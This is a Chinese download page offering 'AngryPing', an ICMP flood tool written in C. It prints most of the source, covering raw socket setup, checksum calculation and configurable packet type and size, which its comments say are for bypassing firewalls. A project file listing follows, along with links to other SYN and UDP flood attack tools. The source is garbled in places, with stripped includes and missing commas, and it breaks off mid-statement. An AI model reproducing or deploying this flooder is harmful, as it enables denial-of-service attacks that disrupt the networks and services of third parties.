资源简介
基于ICMP的洪水攻击
每秒1024个包

代码片段和文件信息
//==================================================
/*
agp.c
AnGryPing -- ICMP Flooder by HBU·小金(LK007)
Copyright?? 2002
E-MAIL:lk007@163.com
*/
#include
#include
#include
#pragma comment(lib “ws2_32.lib“)
//头文件和库文件声明,如果不能编译,请在link里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ 0x28376839
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//计算校验和的子函数
USHORT checksum(USHORT *buffer int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc char **argv)
{
int datasizeErrorCodeflag;
int TimeOut=2000;//默认数据声明
int SendSEQ=0;
int PacketSize=32;
int type=8;
int code=0;
int counter=0;
char SendBuf[65535]={0}; //缓冲
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP
if (argc<2)
{
//允许用户自定义数据包大小、类型、代码,
//用以绕过一些防火墙或做一些特殊的报文Flood
printf(“AngryPing by HBU-LK007\n“);
printf(“Usage:%s [Dest] \n“argv[0]);
exit(0);
}
strcpy(DestIpargv[1]);//取得目标IP地址
if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500)
{
printf(“Packet size must less than 65500\n“); //太大会无法生成IP数据报的
exit(0);
}
if (argc>3)
{
type=atoi(argv[3]); //取得类型值
}
if (type>16)
{
printf(“Type must less than 16\n“);
exit(0);
}
if (argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(22)&wsaData))!=0)
{
fprintf(stderr“WSAStartup failed: %d\n“ErrorCode);
exit(0);
}
if((SockRaw=WSASocket(AF_INETSOCK_RAW
IPPROTO_ICMPNULL0
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
fprintf(stderr“WSASocket failed: %d\n“WSAGetLastError());
exit(0);
}
flag=TRUE;
{
//设置发送超时
ErrorCode=setsockopt(SockRawSOL_SOCKETSO_SNDTIMEO
(char*)&TimeOutsizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr“Failed to set send TimeOut: %d\n“WSAGetLastError());
exit(1);
}
//主要代码开始
printf(“Dest:%s packet:%d type:%d code:%d\n\n“argv[1]PacketSizetypecode);
printf(“Starting...\n\n“); //视觉效果:P
memset(&DestAddr0sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;
memcpy(SendBuf &icmp_header sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header) ‘
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1967104 2010-09-18 02:40 Flood\Debug\Flood.bsc
文件 176191 2010-09-18 02:40 Flood\Debug\Flood.exe
文件 192032 2010-09-18 02:40 Flood\Debug\Flood.ilk
文件 17463 2010-09-18 02:40 Flood\Debug\Flood.obj
文件 4631032 2010-09-18 02:40 Flood\Debug\Flood.pch
文件 443392 2010-09-18 02:40 Flood\Debug\Flood.pdb
文件 0 2010-09-18 02:40 Flood\Debug\Flood.sbr
文件 148480 2010-09-18 02:40 Flood\Debug\vc60.idb
文件 77824 2010-09-18 02:40 Flood\Debug\vc60.pdb
文件 4239 2010-09-18 00:28 Flood\Flood.cpp
文件 4309 2010-09-18 02:46 Flood\Flood.dsp
文件 1452 2010-09-18 02:40 Flood\Flood.plg
目录 0 2010-09-18 02:40 Flood\Debug
目录 0 2010-09-18 02:46 Flood
----------- --------- ---------- ----- ----
7663518 14
相关资源
- ccnp/ccna习题之三 研究 ICMP 数据包
- VC 编程实现活动主机扫描源代码
- API实现ping测试源码通信测试_API测试源
- VC编写的ICMP木马源代码
- syn flood测试工具
- 依据ICMP协议实现网络工具ping,并将时
- floodlight+mininet环境配置+入门
- 网络嗅探,主机扫描,端口扫描
- ns-2.34 leach和mflood协议的添加详细笔记
- FloodArea软件
- 编译原理udp flood 攻击实验报告
- floodlight-1.2.tar.gz
- udp flood攻击
- RFC4443(中文) IPv6标准的ICMPv6
- SYN-cookie 和地址状态监控
- 原始套接字 synflood攻击
- tinyOS 路由样例代码
- TCP/UDP/ICMP/IGMP发包工具
- syn.exe --(HUC SYN Flood Tool V0.2)
- 组播流测试工具
- smurf 测试工具
- icmp协议ping程序实现
- 利用ICMP进行路由跟踪
- 多线程自动化syn&udp flood攻击集成工具
- UDP协议中的 UDP Flood 攻击详细讲解
- ubuntu12.04环境下直接Floodlight+miniet搭建
- udp flood 工具
- udp flood exe
- SYN Flooder 攻击源码
- TCP/UDP/ICMP数据包攻击软件
评论
共有 条评论